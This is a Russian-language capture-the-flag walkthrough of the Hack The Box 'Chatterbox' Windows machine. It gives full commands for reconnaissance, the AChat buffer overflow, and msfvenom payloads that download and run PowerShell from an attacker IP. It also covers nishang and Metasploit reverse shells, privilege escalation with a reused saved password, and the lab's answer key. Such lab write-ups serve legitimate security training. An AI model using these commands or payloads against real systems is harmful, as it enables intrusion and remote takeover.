Для начала добавим ip-адрес в файлик hosts.
sudo nano /etc/hosts

Проведем начальное сканирование masscan-ом, будем сканировать все TCP и UDP порты со скоростью 500 пакетов в секунду, через интерфейс tun0 и посмотрим результат.
sudo masscan -p1-65535,U:1-65535 10.129.205.85 --rate=500 -e tun0 > chatterbox

cat chatterbox

Теперь просканируем все открытые порты nmap-ом. Будем использовать опции sC для скриптов по умолчанию, sV для определения версий служб и oA для вывода результата в файл.
nmap -p135,139,445,9255,9256,49152,49153,49154,49155,49156,49157 -sC -sV -oA nmap/chatterbox chatterbox.htb

Как видно из вывода nmap, мы имеем дело с windows машиной. Порты с 49152 по 49157 не определены, но зато nmap определил, что за портами 9255,9256 находится служба AСhat.
Давайте поищем эксплоит для этой службы.
searchsploit achat

Нашлось несколько эксплоитов. Нас будет интересовать самый первый, поэтому скопируем его себе в домашнюю директорию.
searchsploit -m windows/remote/36025.py

После копирования посмотрим сам эксплоит.
cat 36025.py

Видно, что нагрузка создана с помощью msfvenom-а.
Давайте сразу поменяем ip-адрес цели.
nano 36025.py

Генерируем свою нагрузку msfvenom-ом. Не забудьте поменять ip-адрес своего туннельного интерфейса.
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.10.16.10/shell.bbc')\"" -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

Полученный шелл-код вставляем в эксплоит.


Установим nishang шеллы, которые нужны для создания файла shell.bbc.
sudo apt install nishang

Скопируем нужный нам шелл в домашнюю директорию и сразу переименуем в shell.bbc.
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .

mv Invoke-PowerShellTcp.ps1 shell.bbc

Редактируем наш шелл shell.bbc и в самый конец файл вставляем следующую строку.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.10 -Port 1234

Теперь запустим наш слушатель на порту 1234 и веб-сервер на Python для закачки шелла.
nc -lnvp 1234

python3 -m http.server 80

И запускаем наш подготовленный эксплоит.



Сразу посмотрим, кто мы в системе.
whoami

Перейдем в домашнюю папку Alfred-а и прочитаем флаг.
cd C:\Users\Alfred\Desktop
(Get-Content user.txt).substring(0,30)

Скопируем на машине Kali в домашнюю директорию скрипт аудита PowerUp.ps1, закачаем его на сервер и запустим.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.10/PowerUp.ps1')

После загрузки и запуска нам будет доступен новый командлет Invoke-AllChecks. Этот командлет запустит все техники и выведет список уязвимостей, которые обнаружены на текущей машине.

И командлет находит нам сохраненную учетную запись. Попробуем запустить новый процесс от Administrator с использованием этого пароля. Сначала создадим защищённую строку из пароля.
$SecPass = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force

Далее сформируем учётные данные для пользователя Administrator.
$cred = New-Object System.Management.Automation.PSCredential('Administrator', $SecPass)

Скопируем наш скрипт на Kali с новым именем и поменяем в нем порт на 2345.
cp shell.bbc shell.cnn

Запустим слушатель.
nc -lnvp 2345

И породим новый процесс от Administrator-а.
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.webClient).downloadString('http://10.10.16.10/shell.cnn')" -Credential $cred

Перейдем в домашнюю директорию и прочитаем флаг.
cd C:\Users\Administrator\Desktop
(Get-Content root.txt).substring(0,30)

Теперь повторим эксплуатацию с помощью metaploit.
Для начала запустим сам metaploit
sudo msfdb run

Будем использовать вспомогательный эксплойт, который ожидает входящие соединения от обратных реверс-шеллов или других полезных нагрузок
use exploit/multi/handler
Далее используем специальный тип полезной нагрузки, которая пытается установить обратное TCP-соединение реверс-шелл с атакующей машиной, перебирая все возможные порты на целевой системе.
set payload windows/shell/reverse_tcp_allports
Установим локальный ip-адрес, порт и запускаем handler.
set LHOST 10.10.16.10
set LPORT 3456

Генерируем и вставляем нагрузку в эксплоит.
msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp_allports LPORT=3456 LHOST=10.10.16.10 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

python3 -m http.server 80
И запускаем эксплоит.


Нажимаем С+Z отправляя сессию в бэкграунд и запускаем shell_to_meterpreter.
use post/multi/manage/shell_to_meterpreter
Устанавливаем сессию равной 1.
set session 1
Устанавливаем локальный хост равным 10.10.16.10 и порт равным 9002.
set LHOST 10.10.16.10
set LPORT 9002
Запусаем пост-эксплуатационную нагрузку и у нас создается вторая сессия.
run


Теперь посмотрим рабочие сессии и переключимся на вторую сессию.
sessions
sessions -i 2
shell

Выйдем из шелла в meterpreter и посмотрим список процессов на хосте.
exit
ps

К сожалению meterpreter не вызывает модуль повершелла.

Также и сам шелл не вызывает повершелла, хотя раньше это работало.

Мы можем прокинуть порт 445 следующей командой.
portfwd add -l 445 -p 445 -r 127.0.0.1

Теперь когда порт прокинут мы можем подключиться с помощью psexec к машине.

Ответы на вопросы:
How many TCP ports outside of the default nmap top 1000 are listening on Chatterbox? - 2
What is the name of the chat service running on port 9256? - AChat
There is a known buffer overflow in this version of AChat. To what UDP port does it send the exploit? - 9256
What is the name of the user running the AChat service? - Alfred
What is the administrator user's password? - Welcome1!
